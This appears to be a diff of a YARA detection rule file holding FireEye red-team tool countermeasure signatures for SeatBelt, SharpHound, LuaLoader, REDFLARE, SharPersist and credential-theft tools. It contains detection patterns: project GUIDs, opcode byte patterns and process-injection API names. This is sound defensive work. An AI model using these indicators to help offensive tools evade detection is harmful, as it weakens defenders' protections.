+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "2c86be1bcf29bcb2c167f9248dee0ab4a5a5c6740fb1f18784ee2e380176df91"
+		score = 75
+		quality = 73
 		tags = "FILE"
-		rev = 4
+		rev = 1
 
 	strings:
-		$echo1 = "101;99;104;111;32;111;102;102;" ascii wide
-		$echo2 = "101:99:104:111:32:111:102:102:" ascii wide
-		$echo3 = "101x99x104x111x32x111x102x102x" ascii wide
-		$pe1 = "77;90;144;" ascii wide
-		$pe2 = "77:90:144:" ascii wide
-		$pe3 = "77x90x144x" ascii wide
-		$pk1 = "80;75;3;4;" ascii wide
-		$pk2 = "80:75:3:4:" ascii wide
-		$pk3 = "80x75x3x4x" ascii wide
+		$typelibguid0 = "370b4d21-09d0-433f-b7e4-4ebdd79948ec" ascii nocase wide
 
 	condition:
-		( uint32(0)==0xe011cfd0) and filesize <10MB and any of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule FIREEYE_RT_Hacktool_MSIL_SEATBELT_2 : FILE
+rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPDACL_1 : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SeatBelt project."
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpdacl' project."
 		author = "FireEye"
-		id = "225b42fe-c73a-59c0-a1f4-1d6dff6e76e1"
+		id = "13f4e3ea-1e36-5fad-9197-66511d6f026a"
 		date = "2020-12-09"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BELTALOWDA/production/yara/HackTool_MSIL_SEATBELT_2.yar#L4-L15"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPDACL_1.yar#L4-L15"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "9f401176a9dd18fa2b5b90b4a2aa1356"
-		logic_hash = "e48474c5025fd88e3c2824e1e943ff56cde0ea05984aad0249ccf73caa6d4a36"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "5f44ec5ddded18fb3a9132b469b2fe7ccbffb3f907325485f0f72fe3d6bbfa23"
 		score = 75
 		quality = 73
 		tags = "FILE"
 		rev = 3
 
 	strings:
-		$typelibguid1 = "AEC32155-D589-4150-8FE7-2900DF4554C8" ascii nocase wide
+		$typelibguid0 = "b3c17fb5-5d5a-4b14-af3c-87a9aa941457" ascii nocase wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $typelibguid1
+		filesize <10MB and ( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule FIREEYE_RT_Hacktool_MSIL_SEATBELT_1 : FILE
+rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPWEBCRAWLER_1 : FILE
 {
 	meta:
-		description = "This rule looks for .NET PE files that have regex and format strings found in the public tool SeatBelt. Due to the nature of the regex and format strings used for detection, this rule should detect custom variants of the SeatBelt project."
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpwebcrawler' project."
 		author = "FireEye"
-		id = "46477f87-2458-5b8e-894a-9aa536a441ad"
+		id = "29b2a410-bcc4-58df-b192-7a413b3db1c0"
 		date = "2020-12-09"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BELTALOWDA/production/yara/HackTool_MSIL_SEATBELT_1.yar#L4-L25"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPWEBCRAWLER_1.yar#L4-L15"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "848837b83865f3854801be1f25cb9f4d"
-		logic_hash = "4248e5561ef60e725c23efc89c899d6fc8be5bf2142f700fb70daecd72c30dd8"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "8df328663a813ca0a6864ae0503cbc1b03cfdf839215b9b4f2bb7962adf09bf8"
 		score = 75
-		quality = 30
+		quality = 73
 		tags = "FILE"
-		rev = 3
+		rev = 2
 
 	strings:
-		$msil = "_CorExeMain" ascii wide
-		$str1 = "{ Process = {0}, Path = {1}, CommandLine = {2} }" ascii nocase wide
-		$str2 = "Domain=\"(.*)\",Name=\"(.*)\"" ascii nocase wide
-		$str3 = "LogonId=\"(\\d+)\"" ascii nocase wide
-		$str4 = "{0}.{1}.{2}.{3}" ascii nocase wide
-		$str5 = "^\\W*([a-z]:\\\\.+?(\\.exe|\\.dll|\\.sys))\\W*" ascii nocase wide
-		$str6 = "*[System/EventID={0}]" ascii nocase wide
-		$str7 = "*[System[TimeCreated[@SystemTime >= '{" ascii nocase wide
-		$str8 = "(http|ftp|https|file)://([\\w_-]+(?:(?:\\.[\\w_-]+)+))([\\w.,@?^=%&:/~+#-]*[\\w@?^=%&/~+#-])?" ascii nocase wide
-		$str9 = "{0}" ascii nocase wide
-		$str10 = "{0,-23}" ascii nocase wide
+		$typelibguid0 = "cf27abf4-ef35-46cd-8d0c-756630c686f1" ascii nocase wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $msil and all of ($str*)
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule FIREEYE_RT_Hacktool_MSIL_Puppyhound_1 : FILE
+rule FIREEYE_RT_APT_Hacktool_MSIL_DNSOVERHTTPS_C2_1 : FILE
 {
 	meta:
-		description = "This is a modification of an existing FireEye detection for SharpHound. However, it looks for the string 'PuppyHound' instead of 'SharpHound' as this is all that was needed to detect the PuppyHound variant of SharpHound."
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public 'DoHC2' External C2 project."
 		author = "FireEye"
-		id = "1155f959-c8bc-597a-8a80-abee8d95b6ec"
+		id = "ee71be6c-e3c8-5365-9f32-157f00066c49"
 		date = "2020-12-09"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PUPPYHOUND/production/yara/HackTool_MSIL_PuppyHound_1.yar#L4-L19"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_DNSOVERHTTPS_C2_1.yar#L4-L16"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "eeedc09570324767a3de8205f66a5295"
-		logic_hash = "39073bbfef15ecd28c1772e5d01e54c3d5774ecb4c90f0076bda5dc400abacba"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "a482161bbd8e249977f28466ff1381d4693495f8b8ccd9183ae4fde1ec1471eb"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE"
-		rev = 6
+		rev = 2
 
 	strings:
-		$1 = "PuppyHound"
-		$2 = "UserDomainKey"
-		$3 = "LdapBuilder"
-		$init = { 28 [2] 00 0A 0A 72 [2] 00 70 1? ?? 28 [2] 00 0A 72 [2] 00 70 1? ?? 28 [2] 00 0A 28 [2] 00 0A 0B 1F 2D }
-		$msil = /\x00_Cor(Exe|Dll)Main\x00/
+		$typelibguid0 = "5d9515d0-df67-40ed-a6b2-6619620ef0ef" ascii nocase wide
+		$typelibguid1 = "7266acbb-b10d-4873-9b99-12d2043b1d4e" ascii nocase wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule FIREEYE_RT_Hacktool_MSIL_Sharphound_3 : FILE
+rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPGOPHER_1 : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SharpHound3 project."
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpgopher' project."
 		author = "FireEye"
-		id = "456b3208-1e8d-5eb7-81ee-39f1c886c5a7"
+		id = "cc8eb9cd-9a51-5fab-b0a4-247baaa69dd7"
 		date = "2020-12-09"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PUPPYHOUND/production/yara/HackTool_MSIL_SharpHound_3.yar#L4-L15"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPGOPHER_1.yar#L4-L15"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "eeedc09570324767a3de8205f66a5295"
-		logic_hash = "baeea6cae42c755ee389378229b2b206c82f60f75a5ce5f9cfa06871fc9507d1"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "ac37f77440cb76d7dafa4c9b4130471ca6ca760f6d72691db9ebb8cbaaad0c58"
 		score = 75
 		quality = 73
 		tags = "FILE"
-		rev = 4
+		rev = 2
 
 	strings:
-		$typelibguid1 = "A517A8DE-5834-411D-ABDA-2D0E1766539C" ascii nocase wide
+		$typelibguid0 = "83413a89-7f5f-4c3f-805d-f4692bc60173" ascii nocase wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $typelibguid1
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_LUALOADER_1 : FILE
+rule FIREEYE_RT_Credtheft_MSIL_Wcmdump_1 : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'lualoader' project."
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WCMDump' project."
 		author = "FireEye"
-		id = "e8480cf8-1852-5572-8e92-c0ae676b7507"
+		id = "22796ccb-a01e-59d8-8c3a-6cbb62899940"
 		date = "2020-12-09"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/LUALOADER/production/yara/APT_HackTool_MSIL_LUALOADER_1.yar#L4-L15"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/CredTheft_MSIL_WCMDump_1.yar#L4-L15"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
 		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "7e9f9836ec91aa66c8779588cfceff718487f0cb5048d17538c947aba687a4cf"
+		logic_hash = "9fbf53e551342695b306b10f30a3fe32dff359bd70e84e1fa1f190772f5dcbe3"
 		score = 75
 		quality = 73
 		tags = "FILE"
-		rev = 3
+		rev = 1
 
 	strings:
-		$typelibguid0 = "8b546b49-2b2c-4577-a323-76dc713fe2ea" ascii nocase wide
+		$typelibguid0 = "21e322f2-4586-4aeb-b1ed-d240e2a79e19" ascii nocase wide
 
 	condition:
 		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule FIREEYE_RT_APT_Loader_MSIL_LUALOADER_2 : FILE
+rule FIREEYE_RT_APT_Hacktool_MSIL_MODIFIEDSHARPVIEW_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'modifiedsharpview' project."
 		author = "FireEye"
-		id = "f2826dbb-f0a4-5361-94d1-8509c60c4131"
-		date = "2020-12-18"
-		modified = "2020-12-18"
+		id = "e07d3d4b-fba3-5df7-85f4-927bb8cec2d1"
+		date = "2020-12-09"
+		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/LUALOADER/production/yara/APT_Loader_MSIL_LUALOADER_2.yar#L4-L19"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_MODIFIEDSHARPVIEW_1.yar#L4-L15"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		logic_hash = "700927768669eda6976071306e991bfaae136279f4265980521597c699fbed88"
+		hash = "db0eaad52465d5a2b86fdd6a6aa869a5"
+		logic_hash = "a47c48da998243fab92665649fb9d6ecc6ac32e1fd884c2c0d5ccecb05290c10"
 		score = 75
-		quality = 25
+		quality = 73
 		tags = "FILE"
+		rev = 3
 
 	strings:
-		$ss1 = "\x3bN\x00e\x00o\x00.\x00I\x00r\x00o\x00n\x00L\x00u\x00a\x00.\x00L\x00u\x00a\x00C\x00o\x00m\x00p\x00i\x00l\x00e\x00O\x00p\x00t\x00i\x00o\x00n\x00s\x00"
-		$ss2 = "\x19C\x00o\x00m\x00p\x00i\x00l\x00e\x00C\x00h\x00u\x00n\x00k\x00"
-		$ss3 = "\x0fd\x00o\x00c\x00h\x00u\x00n\x00k\x00"
-		$ss4 = /.Reflection.Assembly:Load\(\w{1,64}\);?\s{0,245}\w{1,64}\.EntryPoint:Invoke\(nil/ wide
-		$ss5 = "1F 8B 08 00 00 00 00 00" wide
-		$ss6 = "\x00LoadLibrary\x00"
-		$ss7 = "\x00GetProcAddress\x00"
-		$ss8 = "\x00VirtualProtect\x00"
+		$typelibguid0 = "22a156ea-2623-45c7-8e50-e864d9fc44d3" ascii nocase wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule FIREEYE_RT_APT_Loader_MSIL_LUALOADER_1 : FILE
+rule FIREEYE_RT_APT_Hacktool_MSIL_PRAT_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'prat' project."
 		author = "FireEye"
-		id = "970a869e-bd69-5609-bb8d-77bfa78b0630"
-		date = "2020-12-18"
-		modified = "2020-12-18"
+		id = "4a876eb0-ed2f-5ef2-a9b3-ba728b07c8c0"
+		date = "2020-12-09"
+		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/LUALOADER/production/yara/APT_Loader_MSIL_LUALOADER_1.yar#L4-L17"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_PRAT_1.yar#L4-L18"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		logic_hash = "2d73d434ac39ebde990aca817a54208cd04bfbce33f1bcadcf48a50d9389658c"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "d707f017b56b0a873f1edca085ad40fc70cb24e8c9844f377bc28871a941d0b4"
 		score = 75
-		quality = 25
+		quality = 67
 		tags = "FILE"
+		rev = 3
 
 	strings:
-		$sb1 = { 1? 72 [4] 14 D0 [2] 00 02 28 [2] 00 0A 1? 8D [2] 00 01 13 ?? 11 ?? 1? 1? 14 28 [2] 00 0A A2 11 ?? 1? 1? 14 28 [2] 00 0A A2 11 ?? 28 [2] 00 0A 28 [2] 00 0A 80 [2] 00 04 7E [2] 00 04 7B [2] 00 0A 7E [2] 00 04 11 ?? 11 ?? 6F [2] 00 0A 6F [2] 00 0A }
-		$ss1 = "\x3bN\x00e\x00o\x00.\x00I\x00r\x00o\x00n\x00L\x00u\x00a\x00.\x00L\x00u\x00a\x00C\x00o\x00m\x00p\x00i\x00l\x00e\x00O\x00p\x00t\x00i\x00o\x00n\x00s\x00"
-		$ss2 = "\x19C\x00o\x00m\x00p\x00i\x00l\x00e\x00C\x00h\x00u\x00n\x00k\x00"
-		$ss3 = "\x0fd\x00o\x00c\x00h\x00u\x00n\x00k\x00"
-		$ss4 = /.Reflection.Assembly:Load\(\w{1,64}\);?\s{0,245}\w{1,64}\.EntryPoint:Invoke\(nil/ wide
-		$ss5 = "1F 8B 08 00 00 00 00 00" wide
+		$typelibguid0 = "7d1219fb-a954-49a7-96c9-df9e6429a8c7" ascii nocase wide
+		$typelibguid1 = "bc1157c2-aa6d-46f8-8d73-068fc08a6706" ascii nocase wide
+		$typelibguid2 = "c602fae2-b831-41e2-b5f8-d4df6e3255df" ascii nocase wide
+		$typelibguid3 = "dfaa0b7d-6184-4a9a-9eeb-c08622d15801" ascii nocase wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule FIREEYE_RT_Hacktool_MSIL_Corehound_1 : FILE
+rule FIREEYE_RT_APT_Hacktool_MSIL_REDTEAMMATERIALS_1 : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'CoreHound' project."
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'red_team_materials' project."
 		author = "FireEye"
-		id = "8c914b34-3e3d-53ae-a5e4-9dbfdff45a24"
+		id = "272cd3e9-884a-566b-ae90-4a79ee726a8d"
 		date = "2020-12-09"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/COREHOUND/production/yara/HackTool_MSIL_CoreHound_1.yar#L4-L15"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_REDTEAMMATERIALS_1.yar#L4-L16"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
 		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "b0f759709428d5c9404507a13259bf85cb8c405d38b807539098f7cc871023d8"
+		logic_hash = "ca54a1e8335c4256295fc643f5d31eae2e89f020dc7a9b571c4772edaad08022"
 		score = 75
-		quality = 73
+		quality = 71
 		tags = "FILE"
-		rev = 1
+		rev = 3
 
 	strings:
-		$typelibguid0 = "1fff2aee-a540-4613-94ee-4f208b30c599" ascii nocase wide
+		$typelibguid0 = "86c95a99-a2d6-4ebe-ad5f-9885b06eab12" ascii nocase wide
+		$typelibguid1 = "e06f1411-c7f8-4538-bbb9-46c928732245" ascii nocase wide
 
 	condition:
 		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule FIREEYE_RT_APT_Keylogger_Win32_REDFLARE_1 : FILE
+rule FIREEYE_RT_Loader_MSIL_Netassemblyinject_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'NET-Assembly-Inject' project."
 		author = "FireEye"
-		id = "ad14db66-d640-5712-b2c8-a3d42d5a90f3"
-		date = "2020-12-01"
-		date = "2020-12-01"
+		id = "62a7dc4c-678b-5f13-9661-4679eafe1c72"
+		date = "2020-12-09"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Keylogger_Win32_REDFLARE_1.yar#L4-L17"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/NETASSEMBLYINJECT/production/yara/Loader_MSIL_NETAssemblyInject_1.yar#L4-L17"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "d7cfb9fbcf19ce881180f757aeec77dd"
-		logic_hash = "aebbaa050bee3775ffac4214ea4ab58284384e7eb41e66ee4838b9359e72821e"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "9a43df9ee26a44f4db5c2d22fbc1a6c86c5af0c9d44a79c6627a4cc8cf31bb8d"
 		score = 75
-		quality = 75
+		quality = 69
 		tags = "FILE"
 		rev = 2
 
 	strings:
-		$create_window = { 6A 00 68 [4] 6A 00 6A 00 68 00 00 00 80 68 00 00 00 80 68 00 00 00 80 68 00 00 00 80 68 00 00 CF 00 68 [4] 68 [4] 6A 00 FF 15 }
-		$keys_check = { 6A 14 [0-5] FF [1-5] 6A 10 [0-5] FF [1-5] B9 00 80 FF FF 66 85 C1 75 ?? 68 A0 00 00 00 FF [1-5] B9 00 80 FF FF 66 85 C1 75 ?? 68 A1 00 00 00 FF [1-5] B9 00 80 FF FF 66 85 C1 74 }
+		$typelibguid0 = "af09c8c3-b271-4c6c-8f48-d5f0e1d1cac6" ascii nocase wide
+		$typelibguid1 = "c5e56650-dfb0-4cd9-8d06-51defdad5da1" ascii nocase wide
+		$typelibguid2 = "e8fa7329-8074-4675-9588-d73f88a8b5b6" ascii nocase wide
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_1 : FILE
+rule FIREEYE_RT_Hacktool_MSIL_Sharpschtask_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharpSchtask' project."
 		author = "FireEye"
-		id = "c3054680-9c87-5d90-b78e-b260904340df"
-		date = "2020-11-27"
-		date = "2020-11-27"
+		id = "5c7a5dee-3bc2-54b2-a7e2-be05ba74d4a1"
+		date = "2020-12-09"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_1.yar#L4-L21"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSCHTASK/production/yara/HackTool_MSIL_SharpSchtask_1.yar#L4-L15"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "100d73b35f23b2fe84bf7cd37140bf4d,4e7e90c7147ee8aa01275894734f4492"
-		logic_hash = "08ea2151418f7f75a8b138146c393a5ea85647320cc8e9fe1930d75871ab94bb"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "7437fde82920f4d015a7f149b58924baf6cb220c6f6857d9509e23795ff0811c"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		rev = 3
+		rev = 1
 
 	strings:
-		$1 = "initialize" fullword
-		$2 = "runCommand" fullword
-		$3 = "stop" fullword
-		$4 = "fini" fullword
-		$5 = "VirtualAllocEx" fullword
-		$6 = "WriteProcessMemory" fullword
+		$typelibguid0 = "0a64a5f4-bdb6-443c-bdc7-f6f0bf5b5d6c" ascii nocase wide
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule FIREEYE_RT_APT_Loader_Raw64_REDFLARE_1 : FILE
+rule FIREEYE_RT_Hacktool_MSIL_Sharpersist_2 : FILE
 {
 	meta:
 		description = "No description has been set in the source file - FireEye-RT"
 		author = "FireEye"
-		id = "8e937f6a-404f-53bd-9de2-ed63b1cf48b2"
-		date = "2020-11-27"
-		date = "2020-11-27"
+		id = "49d7891e-b97a-52a8-acfd-bbf986732d6c"
+		date = "2020-12-09"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Raw64_REDFLARE_1.yar#L4-L16"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPERSIST/production/yara/HackTool_MSIL_SharPersist_2.yar#L4-L23"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "5e14f77f85fd9a5be46e7f04b8a144f5"
-		logic_hash = "dac122ccece8a6dd35a5fe9d37860a612aa50ab469b79f4375dbe776f60c7b57"
+		hash = "98ecf58d48a3eae43899b45cec0fc6b7"
+		logic_hash = "57387352f8fd08e8b859dffc1164d46370f248b337526c265634160010572a00"
 		score = 75
 		quality = 75
 		tags = "FILE"
 		rev = 1
 
 	strings:
-		$load = { EB ?? 58 48 8B 10 4C 8B 48 ?? 48 8B C8 [1-10] 48 83 C1 ?? 48 03 D1 FF }
+		$a1 = "SharPersist.lib"
+		$a2 = "SharPersist.exe"
+		$b1 = "ERROR: Invalid hotkey location option given." ascii wide
+		$b2 = "ERROR: Invalid hotkey given." ascii wide
+		$b3 = "ERROR: Keepass configuration file not found." ascii wide
+		$b4 = "ERROR: Keepass configuration file was not found." ascii wide
+		$b5 = "ERROR: That value already exists in:" ascii wide
+		$b6 = "ERROR: Failed to delete hidden registry key." ascii wide
+		$pdb1 = "\\SharPersist\\"
+		$pdb2 = "\\SharPersist.pdb"
 
 	condition:
-		( uint16(0)!=0x5A4D) and all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and ((@pdb2[1]<@pdb1[1]+50) or (1 of ($a*) and 2 of ($b*)))
 }
-rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_3 : FILE
+rule FIREEYE_RT_Hacktool_MSIL_Sharpersist_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the SharPersist project."
 		author = "FireEye"
-		id = "2f6785c4-f4d0-52ff-8c46-da953e2ca92a"
-		date = "2020-12-01"
-		date = "2020-12-01"
+		id = "586e6c91-6970-57d1-8d8c-05ae9eb6117a"
+		date = "2020-12-09"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
